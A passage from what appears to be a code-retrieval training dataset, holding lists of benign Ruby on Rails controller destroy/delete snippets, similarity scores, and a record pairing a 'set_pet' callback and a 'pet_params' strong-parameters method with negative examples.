"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to users_path, notice: 'Pet was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Has dado de baja a tu mascota' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adopted_pet.destroy\n respond_to do |format|\n format.html { redirect_to adopted_pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adopted_pet.destroy\n respond_to do |format|\n format.html { redirect_to adopted_pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet_item.destroy\n respond_to do |format|\n format.html { redirect_to pet_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet_true.destroy\n respond_to do |format|\n format.html { redirect_to pet_trues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n redirect_to \"/pets\"\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @animal.destroy\n respond_to do |format|\n format.html { redirect(person_animals_url, :delete, 'animal') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal.destroy\n\n respond_to do |format|\n format.html { redirect_to animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lost_pet = LostPet.find(params[:id])\n @lost_pet.destroy\n\n respond_to do |format|\n format.html { redirect_to lost_pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typeofpet.destroy\n respond_to do |format|\n format.html { redirect_to typeofpets_url, notice: 'Typeofpet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @diet.destroy\n head :no_content, status: 200\n else\n render json: @diet.errors, status: 405\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @trumpet = Trumpet.find(params[:id])\n @trumpet.destroy\n\n respond_to do |format|\n format.html { redirect_to trumpets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Publicación eliminada correctamente.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def deleta_pet(pet_id)\n uri = \"#{ENV['BASE_URI']}/pet/#{pet_id}\"\n\n without_authentication('delete', uri)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @question_pet.destroy\n respond_to do |format|\n format.html { redirect_to question_pets_url, notice: 'Question pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @postulation_pet.destroy\n respond_to do |format|\n format.html { redirect_to my_postulations_path, notice: 'Postulation pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @vet = Vet.find(params[:id])\n @vet.destroy\n\n respond_to do |format|\n format.html { redirect_to vets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @pet.destroy\n redirect_to pets_path\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @animal = Animal.find(params[:id])\n @animal.destroy\n\n respond_to do |format|\n format.html { redirect_to zoo_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to @user, notice: I18n.t('Pet card was successfully destroyed') }\n format.json { head :no_content }\n end\n end",
"def destroy\n session[:pet_id] = nil\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet_breed.destroy\n respond_to do |format|\n format.html { redirect_to pet_type_path(@pet_breed.pet_type), notice: 'Pet breed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dog = Dog::Dog.find(params[:id])\n @dog.destroy\n\n respond_to do |format|\n format.html { redirect_to dog_dogs_url }\n format.json { head :ok }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @animal = Animal.find(params[:id])\n @animal.destroy\n render json: { message: \"Congrats youve won\"}\n end",
"def destroy\n @pet_breed.destroy\n respond_to do |format|\n format.html { redirect_to pet_breeds_url, notice: 'Pet breed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diet.destroy\n respond_to do |format|\n format.html { redirect_to diets_url, notice: 'Diet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tags_of_novel = TagsOfNovel.find(params[:id])\n @tags_of_novel.destroy\n\n respond_to do |format|\n format.html { redirect_to tags_of_novels_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def destroy\n animal = Animal.find(params[:id])\n if animal.destroy\n render json: animal\n else\n render json: animal.errors\n end\n end",
"def destroy\n @petprofile.destroy\n respond_to do |format|\n format.html { redirect_to petprofiles_url, notice: 'Petprofile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n \n end",
"def destroy\n @peticion.destroy\n respond_to do |format|\n format.html { redirect_to peticions_url, notice: 'Peticion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trumpet.destroy\n respond_to do |format|\n format.html { redirect_to trumpets_url, notice: 'Trumpet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @puppy_dog_two.destroy\n respond_to do |format|\n format.html { redirect_to puppy_dog_twos_url, notice: 'Puppy dog two was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @adopcion = Adoption.find(@pet.adoptions_id)\n\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to admin_pets_path, notice: 'La mascota fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n\n @adopcion.destroy\n\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n @competent = Competent.find(params[:id])\n @competent.destroy\n\n respond_to do |format|\n format.html { redirect_to competents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal = Animal.find(params[:id])\n @animal.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Animal was successfully deleted from database.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dog.destroy\n respond_to do |format|\n format.html { redirect_to dogs_url, notice: 'Dog was successfully removed' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom_pet_template.destroy\n respond_to do |format|\n format.html { redirect_to custom_pet_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"def destroy\n @diet_type.destroy\n respond_to do |format|\n format.html { redirect_to diet_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n\n if @diet.nil?\n send_error_json(nil, \"Failed to delete\", 400)\n return\n end\n\n if @diet.destroy\n send_success_json(@diet.id, { diet_name: @diet.diet_name})\n else\n send_error_json(@diet.id, \"Delete error\", 400)\n end\n\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @animal = Animal.find(params[:id])\n @animal.destroy\n # respond_to do |format|\n # formal.html { redirect_to animals_url, notice: \"Animal was successfully removed.\"}\n # format.json { head :no_content}\n # end\n end",
"def destroy\n @animal.destroy\n respond_to do |format|\n format.html { redirect_to animals_url, notice: \"Animal was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal.destroy\n respond_to do |format|\n format.html { redirect_to animals_url, notice: \"Animal was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal.destroy\n respond_to do |format|\n format.html { redirect_to animals_url, notice: 'Animal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal.destroy\n respond_to do |format|\n format.html { redirect_to animals_url, notice: 'Animal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n if animal.valid?\n render json: animal\n else\n render json: animal.errors\n end\n end",
"def destroy\n @dart = Dart.find(params[:id])\n @dart.destroy\n\n respond_to do |format|\n format.html { redirect_to darts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @client = Client.find params[:client_id]\n @pet = Pet.find params[:pet_id]\n @pet_history.destroy\n \n respond_to do |format|\n format.html { redirect_to client_pet_pet_histories_path(@client,@pet), notice: 'Control eliminado... no ha quedado evidencia alguna' }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @api_v1_post_vote = PostVote.find(params[:id])\n @api_v1_post_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_post_votes_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @three.destroy\n respond_to do |format|\n format.html { redirect_to threes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @vet.destroy\n respond_to do |format|\n format.html { redirect_to vets_url, notice: 'Vet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @anything.destroy\n respond_to do |format|\n format.html { redirect_to anythings_url }\n format.json { head :no_content }\n end\n end",
"def soccer_delete\n base_delete(params, \"Soccer\")\n end",
"def destroy\n @Love = Love.find(params[:id])\n @Love.destroy\n\n respond_to do |format|\n format.html { redirect_to loves_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @petition = Petition.find(params[:id])\n @petition.destroy\n\n respond_to do |format|\n format.html { redirect_to petitions_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.76552933",
"0.76330024",
"0.750838",
"0.750838",
"0.750838",
"0.7302086",
"0.7267687",
"0.7248253",
"0.72239506",
"0.721972",
"0.72023845",
"0.72023845",
"0.72023845",
"0.72023845",
"0.72023845",
"0.71824735",
"0.7175317",
"0.7128093",
"0.7128093",
"0.7124565",
"0.7117816",
"0.7114961",
"0.70514756",
"0.70454204",
"0.7042455",
"0.6987198",
"0.69527864",
"0.69452167",
"0.6944163",
"0.69342446",
"0.69131285",
"0.6899794",
"0.6883305",
"0.6848241",
"0.68448704",
"0.6828139",
"0.6823597",
"0.68180025",
"0.6800069",
"0.6797093",
"0.67765903",
"0.67565936",
"0.6755552",
"0.6755552",
"0.6741928",
"0.67291975",
"0.6728329",
"0.67258894",
"0.6715318",
"0.6710058",
"0.6709622",
"0.6702887",
"0.66994333",
"0.6683136",
"0.66774726",
"0.66749823",
"0.6649015",
"0.6643763",
"0.6643636",
"0.6640267",
"0.6638449",
"0.66301143",
"0.6620687",
"0.6620101",
"0.661939",
"0.66187567",
"0.66187567",
"0.66186875",
"0.66159755",
"0.66065615",
"0.66050804",
"0.66044813",
"0.66014266",
"0.660108",
"0.660108",
"0.6600033",
"0.65961325",
"0.65958893",
"0.65929407",
"0.6591946",
"0.6591946",
"0.65884244",
"0.65884244",
"0.6587372",
"0.6583986",
"0.6572442",
"0.65702564",
"0.6568631",
"0.6568264",
"0.6560999",
"0.65588045",
"0.6557603",
"0.6557603",
"0.655744",
"0.65564257",
"0.6555721",
"0.6554221",
"0.6550207",
"0.65493256",
"0.6547224"
] | 0.69471693 | 27 |
Use callbacks to share common setup or constraints between actions. | def set_pet
@pet = Pet.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def pet_params
params.require(:pet).permit(:name, :race, :birthdate)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
